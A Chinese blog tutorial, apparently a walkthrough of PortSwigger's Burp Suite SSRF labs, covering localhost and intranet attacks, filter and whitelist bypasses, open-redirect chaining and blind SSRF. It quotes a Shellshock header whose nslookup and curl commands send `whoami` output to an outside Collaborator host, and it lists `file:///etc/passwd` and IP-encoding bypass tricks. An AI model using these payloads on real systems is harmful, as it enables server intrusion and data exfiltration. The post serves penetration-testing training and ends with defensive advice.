当前位置: 首页 > article >正文

Burp靶场实战:SSRF漏洞的七种攻击场景与绕过技巧

1. SSRF漏洞基础与Burp靶场环境搭建SSRFServer-Side Request Forgery漏洞的本质是服务器对用户提供的URL未做充分校验导致攻击者能够操控服务器发起非预期请求。想象一下你让朋友去超市买牛奶结果他拿着你的信用卡刷遍了整条街——SSRF就是这种越权代购的安全问题。在Burp Suite官方提供的SSRF靶场中我们主要使用三个核心工具Repeater用于手动修改和重放请求适合精确控制攻击参数Intruder自动化批量测试工具适合端口扫描和模糊测试Collaborator带外检测神器能捕获盲SSRF产生的网络交互搭建实验环境只需三步访问PortSwigger官网下载最新版Burp Suite Professional在Dashboard点击New temporary project创建临时项目通过Target→Scope添加靶场域名(如*.web-security-academy.net)我常遇到新手两个配置问题忘记安装CA证书导致HTTPS流量无法解密需访问http://burp/下载安装Collaborator域名被防火墙拦截可在Project options→Connections设置代理2. 基础SSRF攻击实战2.1 本地服务器攻击这个实验演示了最经典的SSRF场景绕过前端限制访问本地管理接口。关键点在于理解服务器如何处理相对URL和绝对URL。当发现stockApi参数接受完整URL时立即想到替换为http://localhost/admin。实际操作中有个细节容易被忽略管理页面返回的是302重定向需要勾选Repeater的Follow redirections选项。我曾在这个坑里浪费半小时直到发现删除请求返回的是302而不是200。绕过技巧进阶尝试127.0.0.1替代localhost使用十进制IP如2130706433127.0.0.1的十进制表示测试IPv6地址[::1]2.2 内网系统探测当目标存在二级系统时SSRF就变成了内网探测工具。这个实验教会我们如何用Intruder进行自动化端口扫描。重点在于设置Attack type为SniperPayload类型选Numbers范围1-255添加Grep匹配规则来识别管理页面特征实测发现内网服务常用端口8080备用HTTP服务8443备用HTTPS服务9000开发调试端口3. 进阶绕过技术3.1 黑名单过滤绕过当遇到localhost/127.0.0.1被过滤时这些技巧很实用域名指向localtest.me → 127.0.0.1IP变形127.1省略末尾.0.1特殊域名0x7f000001.nip.io → 127.0.0.1URL编码%6c%6f%63%61%6c%68%6f%73%74localhost的URL编码有个有趣的案例某次测试发现系统过滤了admin路径但用%2561dmina双编码成功绕过这是因为WAF通常只做单层解码。3.2 开放重定向利用当直接SSRF被拦截时可以寻找网站上的开放重定向点。常见漏洞位置登录/注销功能语言切换接口文件下载参数在实验中/product/nextProduct?path参数就是个典型例子。构造攻击URL时要注意先用简单路径测试重定向是否生效确保最终跳转地址包含协议头http://对特殊字符进行URL编码4. 盲SSRF与带外检测4.1 Collaborator基础用法盲SSRF就像闭着眼睛打靶Collaborator就是我们的声音反馈系统。使用技巧在Repeater右键插入Collaborator Payload设置Polling时间间隔为2秒检查DNS和HTTP两种交互记录有个实用技巧在Collaborator客户端点击Copy to clipboard后直接粘贴到Intruder的Payload里避免手动输入错误。4.2 Shellshock组合攻击这个实验展示了如何将SSRF与其它漏洞结合利用。关键步骤安装Collaborator Everywhere扩展构造特殊User-Agent头() { :; }; /usr/bin/nslookup $(whoami).xxxxxxxx.oastify.com使用Intruder爆破内网IP段遇到过的问题某些系统限制DNS查询可以改用curl发起HTTP请求() { :; }; curl http://xxxxxx.oastify.com/$(whoami)5. 白名单绕过艺术5.1 URL解析差异利用不同库解析URL存在差异这正是绕过机会。实验中的技巧利用符号分隔认证信息userhost使用#号片段标识符http://host#evil.com双重编码特殊字符# → %23 → %2523实际案例某次测试发现系统验证域名白名单时后端使用Java的URI类解析识别localhost%2523domain.com为domain.com而请求时使用URL类解析实际连接localhost5.2 非标准端口利用当遇到域名白名单时可以尝试子域名接管ssrf.example.com指向127.0.0.1端口混淆localhost:80evil.com:8080特殊协议file:///etc/passwd有个绕过Cloudflare的案例利用URL解析器对非标准端口的处理差异构造http://localhost:80%20evil.com这样的畸形地址。6. 防御方案与测试要点虽然本文聚焦攻击但作为负责任的测试人员必须了解防御措施网络层限制服务器出站流量应用层使用固定白名单域名库代码层禁用URL跟随重定向在测试报告中应当注明漏洞触发条件和影响范围修复优先级建议CVSS评分具体的修复代码示例如ALLOWED_DOMAINS [api.example.com] parsed urlparse(url) if parsed.hostname not in ALLOWED_DOMAINS: raise SecurityException(Invalid URL)7. 实战经验与排查技巧排查SSRF漏洞时我习惯先用这三个步骤找所有接受URL的参数不仅限于http://开头的测试不同协议file://, ftp://, gopher://修改请求方法GET参数可能在POST中同样有效遇到过最隐蔽的SSRF案例某JSON接口接受{server:api.internal}这样的参数后端自动补全http://前缀。这提醒我们测试时要尝试各种参数格式。Burp的Match and Replace功能在测试中很实用自动添加X-Forwarded-For头替换所有http为https追加特定查询参数最后提醒测试内网SSRF一定要获得书面授权避免触碰法律红线。真实环境中我会先用Collaborator确认漏洞存在再与客户确认测试范围。

相关文章:

Burp靶场实战:SSRF漏洞的七种攻击场景与绕过技巧

1. SSRF漏洞基础与Burp靶场环境搭建 SSRF(Server-Side Request Forgery)漏洞的本质是服务器对用户提供的URL未做充分校验,导致攻击者能够操控服务器发起非预期请求。想象一下,你让朋友去超市买牛奶,结果他拿着你的信用…...

大模型训练实战:Attention与MoE层并行配置的5个关键调优技巧(附16卡实测数据)

大模型训练实战:Attention与MoE层并行配置的5个关键调优技巧(附16卡实测数据) 当你在16张A100上尝试训练千亿参数大模型时,最令人抓狂的往往不是代码bug,而是看着GPU利用率像心电图一样波动——某些卡满载到120℃时&am…...

TCN时序卷积网络:从因果与空洞卷积到高效序列建模实战

1. 时序卷积网络TCN的核心设计理念 第一次接触TCN(Temporal Convolutional Network)时,很多人会疑惑:为什么要在时间序列任务中用卷积网络?毕竟RNN和Transformer才是这个领域的传统强者。但当我真正在项目中尝试用TCN处…...

告别Navicat!用JetBrains DataGrip 2023.3一站式管理MySQL、PostgreSQL等主流数据库

从Navicat到DataGrip:专业开发者的数据库管理新范式 如果你每天需要同时处理MySQL、PostgreSQL和SQL Server三种数据库,传统的Navicat可能需要你在三个独立窗口间不断切换。而DataGrip的统一工作区设计,让你在一个界面中同时管理所有数据库连…...

别再只会optimizer.step()了!详解PyTorch优化器的param_groups与动态调参技巧

深入PyTorch优化器:掌握param_groups与动态调参的艺术 当你第一次接触PyTorch训练循环时,可能只学会了最基本的optimizer.step()调用。但随着项目复杂度提升,你会发现优化器的能力远不止于此。本文将带你深入探索param_groups这个强大却常被忽…...

技术深度:AB Download Manager的架构解构与高性能扩展体系

技术深度:AB Download Manager的架构解构与高性能扩展体系 【免费下载链接】ab-download-manager A Download Manager that speeds up your downloads 项目地址: https://gitcode.com/GitHub_Trending/ab/ab-download-manager 在现代数字内容消费时代&#x…...

PrimeTime约束检查的隐藏技巧:用好all_fanin和get_attribute命令快速Debug

PrimeTime约束检查的隐藏技巧:用好all_fanin和get_attribute命令快速Debug 在大型SoC设计的静态时序分析(STA)中,面对成千上万的时序违例路径,如何高效定位约束设置的根本问题,是每个中高级PrimeTime用户必…...

保姆级指南:用MBIST算法给SRAM‘体检’,手把手解读故障模型与修复策略

保姆级指南:用MBIST算法给SRAM‘体检’,手把手解读故障模型与修复策略 在数字IC设计中,SRAM作为嵌入式存储的核心部件,其可靠性直接影响芯片整体良率。本文将带您深入理解如何通过MBIST(Memory Built-In Self-Test&…...

如何快速将网页内容保存为Markdown:MarkDownload扩展完整指南

如何快速将网页内容保存为Markdown:MarkDownload扩展完整指南 【免费下载链接】markdownload A Firefox and Google Chrome extension to clip websites and download them into a readable markdown file. 项目地址: https://gitcode.com/gh_mirrors/ma/markdown…...

如何利用HTTrack实现网站完整离线备份:从零开始的终极指南

如何利用HTTrack实现网站完整离线备份:从零开始的终极指南 【免费下载链接】httrack HTTrack Website Copier, copy websites to your computer (Official repository) 项目地址: https://gitcode.com/gh_mirrors/ht/httrack 你是否曾遇到过这样的困境&#…...

终极指南:如何用IDR交互式Delphi反编译器快速分析Windows程序

终极指南:如何用IDR交互式Delphi反编译器快速分析Windows程序 【免费下载链接】IDR Interactive Delphi Reconstructor 项目地址: https://gitcode.com/gh_mirrors/id/IDR IDR(Interactive Delphi Reconstructor)是一款专为Windows32环…...

如何快速使用Kemono下载器:WinUI3批量下载完整指南

如何快速使用Kemono下载器:WinUI3批量下载完整指南 【免费下载链接】Kemono-Downloader-GUI Kemono Downloader with WinUI3 | Kemono下载器,使用WinUI3构建 项目地址: https://gitcode.com/gh_mirrors/ke/Kemono-Downloader-GUI 对于需要批量下载…...

避开F28377D eCAP配置的那些坑:GPIO异步模式、InputXbar与中断标志位清理详解

TMS320F28377D eCAP模块深度避坑指南:从GPIO异步模式到中断标志位全解析 当你在电机控制项目中第一次看到霍尔传感器输出的波形被eCAP模块完美捕获时,那种成就感无与伦比。但现实往往更骨感——大多数工程师在配置F28377D的eCAP模块时,都会遇…...

iOS开发者必看:深度解析.plist文件,从蒲公英/Fir平台安全提取IPA的底层原理

iOS应用分发技术解析:深入理解.plist文件与安全获取IPA的底层逻辑 在企业签名和TestFlight之外,第三方应用分发平台为开发者提供了另一种灵活的应用测试与分发途径。这些平台通过精心设计的机制保护应用资源,而理解其背后的技术原理不仅能满足…...

《UE5_C++多人游戏开发实战》学习笔记3 ——《P4 局域网联机测试与蓝图网络事件(LAN Testing Blueprint Networking)》

1. 局域网联机测试基础准备 在UE5中实现局域网联机功能前,我们需要先搭建好开发环境。我推荐使用最新的UE5.3版本,这个版本对多人游戏网络同步做了不少优化。创建一个第三人称模板项目时,记得选择"C"选项,这样我们既能用…...

别再手动传数据了!用VisionMaster全局变量+脚本,5分钟搞定多流程数据共享

视觉项目开发中的数据共享革命:全局变量与脚本的高效实践 在工业自动化领域,视觉系统正变得越来越复杂。多相机协同、多工位检测已成为标配,但随之而来的数据孤岛问题却让工程师们头疼不已。想象一下这样的场景:一个产品经过多个视…...

从草图到总装:用CREO骨架模型(Skeleton)搞定复杂产品TOP-DOWN设计全流程

从草图到总装:用CREO骨架模型(Skeleton)搞定复杂产品TOP-DOWN设计全流程 在工业设计领域,复杂产品的开发往往面临一个核心挑战:如何确保数十甚至上百个零部件能够精准配合,同时保持设计变更的高效同步。传统…...

【AutoSar_UDS服务】0x14服务_清除DTC:从原理到实战的深度解析

1. 术语解释:先搞懂这些专业名词 在汽车电子诊断领域,我们经常会遇到一堆缩写词,第一次接触时确实容易懵。让我用最直白的方式帮你理清这些关键术语: DTC(Diagnostic Trouble Code):想象成汽车的…...

MongoDB GridFS

MongoDB GridFS MongoDB 是一个高性能、可扩展的文档存储系统,它使用 JSON 格式存储数据。GridFS 是 MongoDB 中一个用于存储和检索大文件(如视频、音频、图片等)的机制。本文将详细介绍 MongoDB GridFS 的概念、工作原理、使用方法以及注意事…...

LitCAD:免费开源二维CAD绘图软件,轻松入门专业绘图

LitCAD:免费开源二维CAD绘图软件,轻松入门专业绘图 【免费下载链接】LitCAD A very simple CAD developed by C#. 项目地址: https://gitcode.com/gh_mirrors/li/LitCAD 想要尝试CAD设计却担心软件复杂难学?LitCAD为你提供完美的解决方…...

从Edge WL到Page差异:深入NAND Flash内部,拆解Read Disturb的‘攻击路径’

从Edge WL到Page差异:深入NAND Flash内部,拆解Read Disturb的‘攻击路径’ 想象一下,当你从SSD读取一个文件时,存储芯片内部正上演着一场微观世界的"多米诺骨牌效应"——每次读操作都可能引发相邻存储单元的连锁反应。这…...

智能状态员中的行为变化与条件转移

智能状态机中的行为变化与条件转移 在人工智能与自动化系统领域,智能状态机(Intelligent State Machine)是一种关键模型,用于描述系统在不同状态下的行为变化以及触发状态转移的条件。通过精确控制状态间的转换逻辑,智…...

从电机控制到光伏逆变器:Clark/Park变换的‘单相应用’实战避坑指南

从电机控制到光伏逆变器:Clark/Park变换的‘单相应用’实战避坑指南 在单相电力电子系统中,Clark和Park变换的应用远比教科书上描述的要复杂得多。去年调试某款单相光伏逆变器时,我在锁相环设计环节耗费了两周时间——明明按照三相系统的思路…...

Rockchip VI模块深度解析:MIPI接口配置与多通道数据处理技巧

Rockchip VI模块深度解析:MIPI接口配置与多通道数据处理技巧 1. 理解Rockchip VI模块的核心架构 Rockchip的VI(Video Input)模块是嵌入式视觉系统中至关重要的数据采集入口。作为连接图像传感器与处理单元的关键桥梁,VI模块的性能…...

基于Python的智能学习平台设计与实现毕业设计源码

一、研究目的本研究旨在设计并实现一个基于Python技术的智能学习平台,以解决当前编程教育领域面临的自主学习能力不足、个性化学习支持薄弱、学习反馈滞后等现实问题。随着人工智能技术的快速发展,教育领域正经历从“标准化教学”向“个性化学习”的深刻…...

16G显存能跑的本地模型精选(2026年)

先说一个很多人会有的疑惑:9B、4B这么小的参数,跑起来是不是玩具水平?有没有跑的必要? 目前的答案是:2026年的9B模型,在特定场景下,还是可以一用的,不算玩具。 比如,Qwen…...

AI开发烂尾病有救了!Anthropic推出Harness多Agent框架

Anthropic 把 GAN 的思路搬过来,搞了三个 AI Agent,组成了一个打工天团,分工明确,互相配合:Planner 导演规划,Generator 演员干活,Evaluator 影评人挑毛病。 你有没有过这种经历? 兴…...

网页端如何通过jQuery完成芯片制造文档的断点续传?

政府项目大文件传输系统开发方案 一、技术选型与架构设计 作为项目技术负责人,针对政府招投标系统的特殊需求,设计以下技术方案: 1.1 核心架构 #mermaid-svg-8u3j4uQ1dCpxy0J0{font-family:"trebuchet ms",verdana,arial,sans-s…...

iperf3网络测速不准?别急,先检查这3个Linux内核参数(附调优命令)

iperf3网络测速不准?别急,先检查这3个Linux内核参数(附调优命令) 当你用iperf3测试网络性能时,是否遇到过这样的困惑:明明硬件支持万兆带宽,实测结果却只有理论值的一半?或者UDP测试…...

BilibiliDown:跨平台B站视频下载解决方案的技术架构与高效使用指南

BilibiliDown:跨平台B站视频下载解决方案的技术架构与高效使用指南 【免费下载链接】BilibiliDown (GUI-多平台支持) B站 哔哩哔哩 视频下载器。支持稍后再看、收藏夹、UP主视频批量下载|Bilibili Video Downloader 😳 项目地址: https://gitcode.com/…...